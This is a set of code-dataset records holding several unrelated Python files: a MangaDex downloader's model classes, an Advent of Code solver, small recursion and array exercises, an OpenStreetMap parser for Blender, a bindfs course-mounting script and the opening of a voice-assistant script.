= next(iter(title_dict))\n            title = title_dict[key]\n\n        return title\n\n    def strip_illegal_characters(self, name: str) -> str:\n        \"\"\"Remove illegal characters from the specified name.\"\"\"\n        return re.sub(ImpVar.CHARA_REGEX, '_', html.unescape(name)).rstrip(' .')\n\n    def _format_save_route(self) -> None:\n        \"\"\"The location files will be saved to.\"\"\"\n        self.model.route = os.path.join(self.model.directory, self.model.title)\n\n    def format_title(self, data: dict) -> str:\n        \"\"\"Remove illegal characters from the manga title.\"\"\"\n        try:\n            os.mkdir(self.model.directory) \n        except FileExistsError:\n            pass\n        title = self.get_title(data)\n        title = self.strip_illegal_characters(title)\n        self.model.title = title\n        self._format_save_route()\n        if self.model.args.rename_files:\n            self._check_downloaded_files()\n        return title\n\n    def id_from_url(self, url: str) -> Tuple[str]:\n        \"\"\"Get the id and download type from url.\"\"\"\n        if ImpVar.MD_URL.match(url):\n            input_url = ImpVar.MD_URL.match(url)\n            download_type_from_url = input_url.group(1)\n            id_from_url = input_url.group(2)\n        elif ImpVar.MD_FOLLOWS_URL.match(url):\n            id_from_url = url\n            download_type_from_url = 'follows'\n        else:\n            input_url = ImpVar.MD_IMAGE_URL.match(url)\n            id_from_url = input_url.group(1)\n            download_type_from_url = 'chapter'\n\n        return id_from_url, download_type_from_url\n\n\n\nclass CacheRead(ModelsBase):\n\n    def __init__(self, model) -> None:\n        super().__init__(model)\n        self.cache_refresh_time = ImpVar.CACHE_REFRESH_TIME\n        self.root = Path(ImpVar.CACHE_PATH)\n        self.root.mkdir(parents=True, exist_ok=True)\n        self.force_reset_cache_time = \"1970-01-01 00:00:00.000000\"\n\n    def save_cache(self, cache_time: Union[str, datetime], download_id: str, data: dict={}, chapters: list=[], covers: list=[]) -> None:\n        \"\"\"Save the data to the cache.\n\n        Args:\n            cache_time (str): The time the cache was saved.\n            download_id (str): The id of the data to cache.\n            data (dict, optional): The data to cache. Defaults to {}.\n            chapters (list, optional): The chapters to cache. Defaults to [].\n            covers (list, optional): The covers of the manga.. Defaults to [].\n        \"\"\"\n        if cache_time == '':\n            cache_time = self.force_reset_cache_time\n\n        cache_json = {\"cache_date\": str(cache_time), \"data\": data, \"covers\": covers, \"chapters\": chapters}\n        cache_file_path = self.root.joinpath(f'{download_id}').with_suffix('.json.gz')\n        if self.model.debug: print(cache_file_path)\n\n        with gzip.open(cache_file_path, 'w') as cache_json_fp:\n            cache_json_fp.write(json.dumps(cache_json, indent=4, ensure_ascii=False).encode('utf-8'))\n\n    def load_cache(self, download_id: str) -> dict:\n        \"\"\"Load the cache data.\n\n        Args:\n            download_id (str): The id of the cache data to load.\n\n        Returns:\n            dict: The cache's data.\n        \"\"\"\n        cache_file_path = self.root.joinpath(f'{download_id}').with_suffix('.json.gz')\n        if self.model.debug: print(cache_file_path)\n\n        try:\n            with gzip.open(cache_file_path, 'r') as cache_json_fp:\n                cache_json = json.loads(cache_json_fp.read().decode('utf-8'))\n            return cache_json\n        except (FileNotFoundError, json.JSONDecodeError, gzip.BadGzipFile):\n            return {}\n\n    def check_cache_time(self, cache_json: dict) -> bool:\n        \"\"\"Check if the cache needs to be refreshed.\n\n        Args:\n            cache_json (dict): The cache data.\n\n        Returns:\n            bool: If a refresh is needed.\n        \"\"\"\n        refresh = True\n        if cache_json:\n            cache_time = cache_json.get(\"cache_date\", self.force_reset_cache_time)\n            timestamp = datetime.strptime(cache_time, \"%Y-%m-%d %H:%M:%S.%f\") + timedelta(hours=self.cache_refresh_time)\n            if datetime.now() >= timestamp:\n                pass\n            else:\n                refresh = False\n\n        if self.model.force_refresh:\n            refresh = True\n\n        if refresh:\n            if self.model.debug: print('Refreshing cache.')\n        else:\n            if self.model.debug: print('Using cache data.')\n        return refresh\n\n\n\nclass Filtering(ModelsBase):\n\n    def __init__(self, model) -> None:\n        super().__init__(model)\n        self.root = Path(\"\")\n        self._group_blacklist_file = self.root.joinpath(ImpVar.GROUP_BLACKLIST_FILE)\n        self._group_whitelist_file = self.root.joinpath(ImpVar.GROUP_WHITELIST_FILE)\n        self._user_blacklist_file = self.root.joinpath(ImpVar.USER_BLACKLIST_FILE)\n        self._user_userlist_file = self.root.joinpath(ImpVar.USER_WHITELIST_FILE)\n\n        self.group_blacklist = self._read_file(self._group_blacklist_file)\n        self.group_whitelist = self._read_file(self._group_whitelist_file)\n        self.user_blacklist = self._read_file(self._user_blacklist_file)\n        self.user_whitelist = self._read_file(self._user_userlist_file)\n\n    def _read_file(self, file_path: str) -> list:\n        \"\"\"Opens the text file and loads the ids to filter.\"\"\"\n        try:\n            with open(file_path, 'r') as fp:\n                filter_list = [line.rstrip('\\n') for line in fp.readlines()]\n                return filter_list\n        except FileNotFoundError:\n            return []\n\n    def filter_chapters(self, chapters: list) -> list:\n        \"\"\"Filters the chapters according to the selected filters.\"\"\"\n        if self.group_whitelist or self.user_whitelist:\n            if self.group_whitelist:\n                chapters = [c for c in chapters if [g for g in c[\"relationships\"] if g[\"type\"] == 'scanlation_group' and g[\"id\"] in self.group_whitelist]]\n            if self.user_whitelist:\n                chapters = [c for c in chapters if [u for u in c[\"relationships\"] if u[\"type\"] == 'user' and u[\"id\"] in self.user_whitelist]]\n        else:\n            chapters = [c for c in chapters if\n                (([g for g in c[\"relationships\"] if g[\"type\"] == 'scanlation_group' and g[\"id\"] not in self.group_blacklist])\n                    or [u for u in c[\"relationships\"] if u[\"type\"] == 'user' and u[\"id\"] not in self.user_blacklist])]\n        return chapters\n\n\n\nclass MDownloaderMisc(ModelsBase):\n\n    def check_url(self, url: str) -> bool:\n        \"\"\"Check if the url given is a MangaDex one.\"\"\"\n        return bool(ImpVar.MD_URL.match(url) or ImpVar.MD_IMAGE_URL.match(url) or ImpVar.MD_FOLLOWS_URL.match(url))\n\n    def check_for_links(self, links: list, error_message: str) -> None:\n        \"\"\"Check the file has any MangaDex urls or ids.\n\n        Args:\n            links (list): Array of urls and ids.\n\n        Raises:\n            NoChaptersError: End the program with the error message.\n        \"\"\"\n        if not links:\n            raise NoChaptersError(error_message)\n\n    def check_uuid(self, series_id: str) -> bool:\n        \"\"\"Check if the id is a UUID.\"\"\"\n        return bool(re.match(ImpVar.UUID_REGEX, series_id))\n\n    def download_message(self, status: bool, download_type: str, name: str) -> None:\n        \"\"\"Print the download message.\n\n        Args:\n            status (bool): If the download has started or ended.\n            download_type (str): What type of data is being downloaded, chapter, manga, group, user, or list.\n            name (str): Name of the chosen download.\n        \"\"\"\n        message = 'Downloading'\n        if status:\n            message = f'Finished {message}'\n\n        print(f'{\"-\"*69}\\n{message} {download_type.title()}: {name}\\n{\"-\"*69}')\n\n    def check_for_chapters(self, data: dict) -> int:\n        \"\"\"Check if there are any chapters.\n\n        Raises:\n            NoChaptersError: No chapters were found.\n\n        Returns:\n            int: The amount of chapters found.\n        \"\"\"\n        count = data.get('total', 0)\n\n        if not data[\"data\"]:\n            count = 0\n\n        if self.model.type_id == 1:\n            download_type = 'manga'\n            name = self.model.title\n        else:\n            download_type = self.model.download_type\n            name = self.model.name\n\n        if count == 0:\n            raise NoChaptersError(f'{download_type.title()}: {self.model.id} - {name} has no chapters. Possibly because of the language chosen or because there are no uploads.')\n        return count\n\n    def check_manga_data(self, chapter_data: dict) -> dict:\n        \"\"\"Uses the chapter data to check if the manga data is available, if not, call the manga api.\n\n        Returns:\n            dict: The manga data to use.\n        \"\"\"\n        manga = dict([c for c in chapter_data[\"relationships\"] if c[\"type\"] == 'manga'][0])\n        manga_id = manga[\"id\"]\n        self.model.manga_id = manga_id\n        manga_data = manga.get('attributes', {})\n\n        if not manga_data:\n            cache_json = self.model.cache.load_cache(manga_id)\n            refresh_cache = self.model.cache.check_cache_time(cache_json)\n            manga_data = cache_json.get('data', {})\n\n            if refresh_cache or not manga_data:\n                if self.model.debug: print('Calling api for manga data from chapter download.')\n                manga_data = self.model.api.get_manga_data('chapter-manga')\n                self.model.cache.save_cache(datetime.now(), manga_id, data=manga_data)\n        else:\n            manga_data = manga\n            self.model.cache.save_cache(datetime.now(), manga_id, data=manga_data)\n\n        return manga_data\n\n    def check_external(self, chapter_data: dict) -> Optional[str]:\n        \"\"\"Checks if the chapter is internal or external to MangaDex.\n\n        Raises:\n            MDownloaderError: Chapter is external and not downloadable.\n\n        Returns:\n            Optional[str]: The external url if available.\n        \"\"\"\n        external = False\n        url = None\n\n        if 'externalUrl' in chapter_data:\n            if chapter_data[\"externalUrl\"] is not None:\n                url = chapter_data[\"externalUrl\"]\n                external = True\n\n        if external:\n            if any(s in url for s in ('mangaplus',)):\n                return url\n            else:\n                raise MDownloaderError('Chapter external to MangaDex, unable to download. Skipping...')\n\n        return None\n\n\nclass TitleDownloaderMisc(ModelsBase):\n\n    def get_prefixes(self, chapters: list) -> dict:\n        \"\"\"Assign each volume a prefix, default: c.\n\n        Returns:\n            dict: A map of the volume number to prefix.\n        \"\"\"\n        volume_dict = {}\n        chapter_prefix_dict = {}\n\n        # Loop over the chapters and add the chapter numbers to the volume number dict\n        for c in chapters:\n            c = c[\"attributes\"]\n            volume_no = c[\"volume\"]\n            try:\n                volume_dict[volume_no].append(c[\"chapter\"])\n            except KeyError:\n                volume_dict[volume_no] = [c[\"chapter\"]]\n\n        list_volume_dict = list(reversed(list(volume_dict)))\n        prefix = 'b'\n\n        # Loop over the volume dict list and\n        # check if the current iteration has the same chapter numbers as the volume before and after\n        for volume in list_volume_dict:\n            if volume is None or volume == '':\n                continue\n\n            next_volume_index = list_volume_dict.index(volume) + 1\n            previous_volume_index = list_volume_dict.index(volume) - 1\n            result = False\n\n            try:\n                next_item = list_volume_dict[next_volume_index]\n                result = any(elem in volume_dict[next_item] for elem in volume_dict[volume])\n            except (KeyError, IndexError):\n                previous_volume = list_volume_dict[previous_volume_index]\n                result = any(elem in volume_dict[previous_volume] for elem in volume_dict[volume])\n\n            if volume is not None or volume != '':\n                if result:\n                    vol_prefix = chr(ord(prefix) + next_volume_index)\n                else:\n                    vol_prefix = 'c'\n                chapter_prefix_dict.update({volume: vol_prefix})\n        return chapter_prefix_dict\n\n    def _natsort(self, x) -> Union[float, str]:\n        \"\"\"Sort the chapter numbers naturally.\"\"\"\n        try:\n            return float(x)\n        except TypeError:\n            return '0'\n        except ValueError:\n            return x\n\n    def _get_chapters_range(self, chapters_list: list, chap_list: list) -> list:\n        \"\"\"Loop through the lists and get the chapters between the upper and lower bounds.\n\n        Args:\n            chapters_list (list): All the chapters in the manga.\n            chap_list (list): A list of chapter numbers to download.\n\n        Returns:\n            list: The chapters to download the data of.\n        \"\"\"\n        chapters_range = []\n\n        for chapter in chap_list:\n            if \"-\" in chapter:\n                chapter_range = chapter.split('-')\n                chapter_range = [None if v == 'oneshot' else v for v in chapter_range]\n                lower_bound = chapter_range[0].strip()\n                upper_bound = chapter_range[1].strip()\n                try:\n                    lower_bound_i = chapters_list.index(lower_bound)\n                except ValueError:\n                    print(f'Chapter lower bound {lower_bound} does not exist. Skipping {chapter}.')\n                    continue\n                try:\n                    upper_bound_i = chapters_list.index(upper_bound)\n                except ValueError:\n                    print(f'Chapter upper bound {upper_bound} does not exist. Skipping {chapter}.')\n                    continue\n                chapter = chapters_list[lower_bound_i:upper_bound_i+1]\n            else:\n                if chapter == 'oneshot':\n                    chapter = None\n                try:\n                    chapter = [chapters_list[chapters_list.index(chapter)]]\n                except ValueError:\n                    print(f'Chapter {chapter} does not exist. Skipping.')\n                    continue\n            chapters_range.extend(chapter)\n        return chapters_range\n\n    def download_range_chapters(self, chapters: list) -> list:\n        \"\"\"Get the chapter numbers you want to download.\n\n        Returns:\n            list: The chapters to download.\n        \"\"\"\n        chapters_list = [c[\"attributes\"][\"chapter\"] for c in chapters]\n        chapters_list = list(set(chapters_list))\n        chapters_list.sort(key=self._natsort)\n        chapters_list_str = ['oneshot' if c is None else c for c in chapters_list]\n        remove_chapters = []\n\n        if not chapters_list:\n            return chapters\n\n        print(f'Available chapters:\\n{\", \".join(chapters_list_str)}')\n        chap_list = input(\"\\nEnter the chapter(s) to download: \").strip()\n\n        if not chap_list:\n            raise MDownloaderError('No chapter(s) chosen.')\n\n        chap_list = [c.strip() for c in chap_list.split(',')]\n        chapters_to_remove = [c.strip('!') for c in chap_list if '!' in c]\n        chap_list = [c for c in chap_list if '!' not in c]\n\n        # Find which chapters to download\n        if 'all' not in chap_list:\n            chapters_to_download = self._get_chapters_range(chapters_list, chap_list)\n        else:\n            chapters_to_download = chapters_list\n\n        # Get the chapters to remove from the download list\n        remove_chapters = self._get_chapters_range(chapters_list, chapters_to_remove)\n\n        for i in remove_chapters:\n            chapters_to_download.remove(i)\n        \n        return [c for c in chapters if c[\"attributes\"][\"chapter\"] in chapters_to_download] \n\n\n\nclass MDownloader(MDownloaderBase):\n\n    def __init__(self) -> None:\n        super().__init__()\n\n        self.api = ApiMD(self)\n        self.auth = AuthMD(self)\n        self.formatter = DataFormatter(self)\n        self.args = ProcessArgs(self)\n        self.exist = ExistChecker(self)\n        self.cache = CacheRead(self)\n        self.filter = Filtering(self)\n        self.misc = MDownloaderMisc(self)\n        self.title_misc = TitleDownloaderMisc(self)\n\n    def wait(self, time_to_wait: int=ImpVar.GLOBAL_TIME_TO_WAIT, print_message: bool=False) -> None:\n        \"\"\"Wait a certain amount of time before continuing.\n\n        Args:\n            time_to_wait (int, optional): The time to wait. Defaults to ImpVar.GLOBAL_TIME_TO_WAIT.\n            print_message (bool, optional): If to print the waiting message. Defaults to False.\n        \"\"\"\n        if time_to_wait == 0:\n            return\n\n        if print_message:\n            print(f\"Waiting {time_to_wait} second(s).\")\n\n        time.sleep(time_to_wait)\n","repo_name":"ArdaxHz/mdownloader","sub_path":"components/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":37654,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"23379613938","text":"def parse_input(filename):\n    handler = Bagpack_Handler()\n    bagpacks = []\n    groups = []\n    active_group = Group()\n    with open(filename) as f:\n        while True:\n            line = f.readline()\n            if not line:\n                break\n            bagpack = Bagpack(line)\n            bagpacks.append(bagpack)\n            if not active_group.add_bagpack(bagpack):\n                groups.append(active_group)\n                active_group = Group()\n                active_group.add_bagpack(bagpack)\n    groups.append(active_group)\n    handler.bagpacks = bagpacks\n    handler.groups = groups\n    return handler\n\ndef calculate_duplicate_priority(bagpack_list):\n    value = 0\n    for b in bagpack_list:\n        value += get_symbol_priority_value(b.get_duplicate())\n    return value\n\ndef get_symbol_priority_value(symbol):\n    item_ord = ord(symbol)\n    if item_ord >= 95:\n        return item_ord - 96\n    else:\n        return item_ord - 38\n        \nclass Bagpack:\n    first_half = []\n    second_half = []\n    def __init__(self, items):\n        self.first_half = []\n        self.second_half = []\n        half = int(len(items) / 2)\n        for i in range(half):\n            self.first_half.append(items[i])\n            self.second_half.append(items[i+half])\n    \n    def get_duplicate(self):\n        intersection = list(set(self.first_half) & set(self.second_half))\n        if(len(intersection) > 1):\n            print(\"SOMETHIGN WENT VERY WRONG\")\n            return None\n        else:\n            return intersection[0]\n    \n    def __str__(self) -> str:\n        return str(self.first_half) + \" - \" + str(self.second_half)\n    \nclass Group:\n    elves_bagpacks = []\n    def __init__(self) -> None:\n        self.elves_bagpacks = []\n\n    def add_bagpack(self, bagpack):\n        if len(self.elves_bagpacks) < 3:\n            self.elves_bagpacks.append(bagpack)\n            return True\n        else:\n            return False\n\n    def get_group_symbol(self):\n        cross_section = set([])\n        for elve in self.elves_bagpacks:\n            if len(cross_section) == 0:\n                cross_section = set(elve.first_half + elve.second_half)\n            else:\n                cross_section = cross_section & set(elve.first_half + elve.second_half)\n        if len(cross_section) == 1:\n            return cross_section.pop()\n        else:\n            raise Exception(\"Well that didn't work out as expected\") \n        \n\nclass Bagpack_Handler:\n    bagpacks = []\n    groups = []\n    def __init__(self) -> None:\n        self.bagpacks = []\n        self.groups = []\n\n    def calculate_groups_symbol_priority(self):\n        value = 0\n        for group in self.groups:\n            value += get_symbol_priority_value(group.get_group_symbol())\n        return value","repo_name":"FirstRamce/AdventOfCode","sub_path":"3_12_22/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27332926680","text":"def reverseArr(A,start,end):\r\n    while start < end:\r\n        A[start], A[end]=A[end],A[start] #swap\r\n        start +=1\r\n        end -=1\r\n    \r\nA=[]\r\nn=int(input(\"Enter the no. of elements\"))\r\nprint(\"Enter the elements:\")\r\nfor i in range(0,n+1):\r\n    x = int(input())\r\n    A.append(x)\r\nprint(\"Entered array:\",A)\r\nprint(\"Reversed array:\",end=\"\")\r\nreverseArr(A,0,n)\r\nprint(str(A))\r\n\r\n\r\n","repo_name":"rdutta2597/Python_DS","sub_path":"reverse2.py","file_name":"reverse2.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34615641716","text":"\"\"\"\nFile: largest_digit.py\nName:\n----------------------------------\nThis file recursively prints the biggest digit in\n5 different integers, 12345, 281, 6, -111, -9453\nIf your implementation is correct, you should see\n5, 8, 6, 1, 9 on Console.\n\"\"\"\n\n\ndef main():\n\tprint(find_largest_digit(12345))      # 5\n\tprint(find_largest_digit(281))        # 8\n\tprint(find_largest_digit(6))          # 6\n\tprint(find_largest_digit(-111))       # 1\n\tprint(find_largest_digit(-9453))      # 9\n\n#\n# def find_largest_digit(n):\n# \t\"\"\"\n# \tinput: an integer\n# \treturn: a biggest digit in this integer\n# \t\"\"\"\n# \t# no matter positive or negative integer\n# \tif n < 0:\n# \t\tn = -n\n# \t# the digit which stay to the final\n# \tif n < 10:\n# \t\treturn n\n# \t# if 10 <= integer <100 which means only two digits needed to compare\n# \tif n < 100:\n# \t\t# units digit\n# \t\tc = n % 10\n# \t\t# tens digit\n# \t\td = n // 10\n# \t\tif c >= d:\n# \t\t\treturn c\n# \t\telse:\n# \t\t\treturn d\n#\n# \tb = n % 100 // 10\n# \ta = n % 10\n# \t# this condition compared unit digit with tens digit and stay the bigger one\n# \tif b >= a:\n# \t\tn = n // 100 * 10 + b\n# \telse:\n# \t\tn = n // 100 * 10 + a\n# \t# repete this function\n# \treturn find_largest_digit(n)\n\n\ndef find_largest_digit(n):\n\tif n <= 0:\n\t\tn *= -1\n\n\tif n < 10:\n\t\treturn n\n\telse:\n\t\tdigit_1 = n % 10\n\t\tdigit_2 = find_largest_digit(n//10)\n\t\tif digit_1 >= digit_2:\n\t\t\treturn digit_1\n\t\telse:\n\t\t\treturn digit_2\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"jackychang16/sc-projects","sub_path":"StanCode_Projects/boggle_game_solver/largest_digit.py","file_name":"largest_digit.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28424953699","text":"import xml.etree.cElementTree as etree\nimport inspect, importlib\n\ndef prepareHandlers(kwArgs):\n\tnodeHandlers = []\n\twayHandlers = []\n\t# getting a dictionary with local variables\n\t_locals = locals()\n\tfor handlers in (\"nodeHandlers\", \"wayHandlers\"):\n\t\tif handlers in kwArgs:\n\t\t\tfor handler in kwArgs[handlers]:\n\t\t\t\tif isinstance(handler, str):\n\t\t\t\t\t# we've got a module name\n\t\t\t\t\thandler = importlib.import_module(handler)\n\t\t\t\tif inspect.ismodule(handler):\n\t\t\t\t\t# iterate through all module functions\n\t\t\t\t\tfor f in inspect.getmembers(handler, inspect.isclass):\n\t\t\t\t\t\t_locals[handlers].append(f[1])\n\t\t\t\telif inspect.isclass(handler):\n\t\t\t\t\t_locals[handlers].append(handler)\n\t\tif len(_locals[handlers])==0: _locals[handlers] = None\n\treturn (nodeHandlers if len(nodeHandlers) else None, wayHandlers if len(wayHandlers) else None)\n\nclass OsmParser:\n\t\n\tdef __init__(self, filename, **kwargs):\n\t\tself.nodes = {}\n\t\tself.ways = {}\n\t\tself.relations = {}\n\t\tself.minLat = 90\n\t\tself.maxLat = -90\n\t\tself.minLon = 180\n\t\tself.maxLon = -180\n\t\t# self.bounds contains the attributes of the bounds tag of the .osm file if available\n\t\tself.bounds = None\n\t\t\n\t\t(self.nodeHandlers, self.wayHandlers) = prepareHandlers(kwargs)\n\t\t\n\t\tself.doc = etree.parse(filename)\n\t\tself.osm = self.doc.getroot()\n\t\tself.prepare()\n\n\tdef prepare(self):\n\t\tallowedTags = set((\"node\", \"way\", \"bounds\"))\n\t\tfor e in self.osm: # e stands for element\n\t\t\tattrs = e.attrib\n\t\t\tif e.tag not in allowedTags : continue\n\t\t\tif \"action\" in attrs and attrs[\"action\"] == \"delete\": continue\n\t\t\tif e.tag == \"node\":\n\t\t\t\t_id = attrs[\"id\"]\n\t\t\t\ttags = None\n\t\t\t\tfor c in e:\n\t\t\t\t\tif c.tag == \"tag\":\n\t\t\t\t\t\tif not tags: tags = {}\n\t\t\t\t\t\ttags[c.get(\"k\")] = c.get(\"v\")\n\t\t\t\tlat = float(attrs[\"lat\"])\n\t\t\t\tlon = float(attrs[\"lon\"])\n\t\t\t\t# calculating minLat, maxLat, minLon, maxLon\n\t\t\t\t# commented out: only imported objects take part in the extent calculation\n\t\t\t\t#if lat<self.minLat: self.minLat = lat\n\t\t\t\t#elif lat>self.maxLat: self.maxLat = lat\n\t\t\t\t#if lon<self.minLon: self.minLon = lon\n\t\t\t\t#elif lon>self.maxLon: self.maxLon = lon\n\t\t\t\t# creating entry\n\t\t\t\tentry = dict(\n\t\t\t\t\tid=_id,\n\t\t\t\t\te=e,\n\t\t\t\t\tlat=lat,\n\t\t\t\t\tlon=lon\n\t\t\t\t)\n\t\t\t\tif tags: entry[\"tags\"] = tags\n\t\t\t\tself.nodes[_id] = entry\n\t\t\telif e.tag == \"way\":\n\t\t\t\t_id = attrs[\"id\"]\n\t\t\t\tnodes = []\n\t\t\t\ttags = None\n\t\t\t\tfor c in e:\n\t\t\t\t\tif c.tag == \"nd\":\n\t\t\t\t\t\tnodes.append(c.get(\"ref\"))\n\t\t\t\t\telif c.tag == \"tag\":\n\t\t\t\t\t\tif not tags: tags = {}\n\t\t\t\t\t\ttags[c.get(\"k\")] = c.get(\"v\")\n\t\t\t\t# ignore ways without tags\n\t\t\t\tif tags:\n\t\t\t\t\tself.ways[_id] = dict(\n\t\t\t\t\t\tid=_id,\n\t\t\t\t\t\te=e,\n\t\t\t\t\t\tnodes=nodes,\n\t\t\t\t\t\ttags=tags\n\t\t\t\t\t)\n\t\t\telif e.tag == \"bounds\":\n\t\t\t\tself.bounds = {\n\t\t\t\t\t\"minLat\": float(attrs[\"minlat\"]),\n\t\t\t\t\t\"minLon\": float(attrs[\"minlon\"]),\n\t\t\t\t\t\"maxLat\": float(attrs[\"maxlat\"]),\n\t\t\t\t\t\"maxLon\": float(attrs[\"maxlon\"])\n\t\t\t\t}\n\t\t\n\t\tself.calculateExtent()\n\n\tdef iterate(self, wayFunction, nodeFunction):\n\t\tnodeHandlers = self.nodeHandlers\n\t\twayHandlers = self.wayHandlers\n\t\t\n\t\tif wayHandlers:\n\t\t\tfor _id in self.ways:\n\t\t\t\tway = self.ways[_id]\n\t\t\t\tif \"tags\" in way:\n\t\t\t\t\tfor handler in wayHandlers:\n\t\t\t\t\t\tif handler.condition(way[\"tags\"], way):\n\t\t\t\t\t\t\twayFunction(way, handler)\n\t\t\t\t\t\t\tcontinue\n\t\t\n\t\tif nodeHandlers:\n\t\t\tfor _id in self.nodes:\n\t\t\t\tnode = self.nodes[_id]\n\t\t\t\tif \"tags\" in node:\n\t\t\t\t\tfor handler in nodeHandlers:\n\t\t\t\t\t\tif handler.condition(node[\"tags\"], node):\n\t\t\t\t\t\t\tnodeFunction(node, handler)\n\t\t\t\t\t\t\tcontinue\n\n\tdef parse(self, **kwargs):\n\t\tdef wayFunction(way, handler):\n\t\t\thandler.handler(way, self, kwargs)\n\t\tdef nodeFunction(node, handler):\n\t\t\thandler.handler(node, self, kwargs)\n\t\tself.iterate(wayFunction, nodeFunction)\n\n\tdef calculateExtent(self):\n\t\tdef wayFunction(way, handler):\n\t\t\twayNodes = way[\"nodes\"]\n\t\t\tfor node in range(len(wayNodes)-1): # skip the last node which is the same as the first ones\n\t\t\t\tnodeFunction(self.nodes[wayNodes[node]])\n\t\tdef nodeFunction(node, handler=None):\n\t\t\tlon = node[\"lon\"]\n\t\t\tlat = node[\"lat\"]\n\t\t\tif lat<self.minLat: self.minLat = lat\n\t\t\telif lat>self.maxLat: self.maxLat = lat\n\t\t\tif lon<self.minLon: self.minLon = lon\n\t\t\telif lon>self.maxLon: self.maxLon = lon\n\t\tself.iterate(wayFunction, nodeFunction)","repo_name":"ValGaDev/Blender-Addons-Open-Street-Map","sub_path":"OpenStreetMap Addons Blender/osm_parser.py","file_name":"osm_parser.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"17158792534","text":"import os\nimport argparse\nfrom shutil import rmtree\nfrom subprocess import run, PIPE, STDOUT\n\nclass CourseMount:\n    \n    def __init__(self):\n        self.courses = [\n            \"Linux_course/Linux_course1\",\n            \"Linux_course/Linux_course2\",\n            \"machinelearning/ML_course1\",\n            \"machinelearning/ML_course2\",\n            \"SQLFundamentals1\",\n            \"SQLFundamentals2\",\n            \"SQLFundamentals3\"\n        ]\n        self.source = '/home/rinkesh/scripts/source/courses'\n        self.target = '/home/rinkesh/scripts/target/courses'\n    \n\n    def check_course(self, course):\n        return course in self.courses\n\n\n    def check_mount(self, course):\n        course_path = os.path.join(self.target, course)\n        \n        #check mount\n        if os.path.isdir(course_path):\n            mount_check = run(['mountpoint', course_path], stdout=PIPE, stderr=STDOUT)\n            #print(mount_check)\n            return True if mount_check.returncode == 0 else False\n        return False\n\n\n    def mount_course(self, course):\n        if not self.check_course(course):\n            print(f'Incorrect {course} name given. Try again')\n            return 1\n        if self.check_mount(course):\n            print(\"{course} Already mounted.\")\n            return 0\n        \n        #make target directories\n        target_course_path = os.path.join(self.target, course)\n        source_course_path = os.path.join(self.source, course)\n        os.makedirs(target_course_path)\n\n        #mount source to target\n        result = run(['bindfs', '-p', '550', '-u', 'rinkesh', '-g',\n                        'rinkesh', source_course_path, target_course_path], \n                         stdout=PIPE, stderr=STDOUT)\n        #check if mounted successfully\n        if result.returncode != 0:\n            rmtree(target_course_path)\n            print(\"Mounting failed.\")\n            return 1\n\n        print(f'{course} Mounted Successfully.')\n        return 0\n\n\n    def mount_all(self):\n        for course in self.courses:\n            self.mount_course(course)\n\n\n    def unmount_course(self, course):   \n        if not self.check_course(course):\n            print(f'Incorrect {course} name given. Try again')\n            return 1\n        if not self.check_mount(course):\n            print(f'{course} is either unmounted or directory does not exists')\n            return 0\n        else:\n            unmount_path = os.path.join(self.target, course)\n            result = run(['sudo', 'umount', unmount_path], stdout=PIPE, stderr=STDOUT)\n            if result.returncode != 0:\n                print(\"Unmounting Error\")\n                return 1\n            else:\n                rmtree(unmount_path, ignore_errors=True)\n                print(f'{course} Unmounted Successfully')\n                return 0\n\n    def unmount_all(self):\n        for course in self.courses:\n            self.unmount_course(course)\n\n\n\nif __name__ == '__main__':\n    #adding CLI \n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('-m', '--mount', action='store_true', help='for mounting courses')\n    parser.add_argument('-u', '--unmount', action='store_true', help='for unmounting courses')\n    parser.add_argument('-c', '--course', type=str, help='give the course name to mount/unmount' )\n\n    args = parser.parse_args()\n\n    #calling CurseMount\n    mount_obj = CourseMount()\n\n    if args.mount:\n        if args.course:\n            mount_obj.mount_course(args.course)\n        else:\n            mount_obj.mount_all()\n    elif args.unmount:\n        if args.course:\n            mount_obj.unmount_course(args.course)\n        else:\n            mount_obj.unmount_all()\n    else:\n        print('Read the docs with -h flag')\n","repo_name":"rinkesh314e/bashProject","sub_path":"course_mount.py","file_name":"course_mount.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14977315516","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec  8 11:37:46 2020\r\n@author: Asus\r\n\"\"\"\r\nimport pyttsx3\r\nimport speech_recognition\r\nimport datetime\r\nimport wikipedia\r\nimport os\r\nimport sys\r\nimport time\r\nimport dateorganisemain as dom\r\nimport duplicatesimilarnewmain as dsm\r\nimport facegrouping as fg\r\nfrom tkinter.filedialog import askopenfilename\r\nfrom tkinter import Tk\r\nfrom youtubesearchpython import VideosSearch\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\nmode=''\r\n\r\ndef slowPrint(text):\r\n  for character in text:\r\n    sys.stdout.write(character)\r\n    sys.stdout.flush()\r\n    time.sleep(0.03)\r\n    \r\ndef speak(sentence):\r\n    engine.say(sentence)\r\n    engine.runAndWait()\r\n    \r\ndef mode_choose():\r\n    global mode\r\n    mode=input(\"Please Choose Command Mode For This Session:\\nV for Voice\\nT for Manual Typing\\n\") \r\n    if(mode!='v' and mode!='V' and mode!='T' and mode!='t'):\r\n        print(\"Try Again\")\r\n        mode_choose()\r\n    \r\ndef voice_choose():\r\n    slowPrint(\"\\nChoose between assistant voices:\")\r\n    input(\"Hit Enter to listen to sample Voices\")\r\n    engine.setProperty('voice', voices[0].id)\r\n    print(\"1. Male\")\r\n    speak(\"I am APRRI, your AI Assistant\")       \r\n    engine.setProperty('voice', voices[1].id)\r\n    print(\"2. Female\")\r\n    speak(\"I am APRRI, your AI Assistant\")       \r\n    vIn=input(\"Choose between M or F: \")\r\n    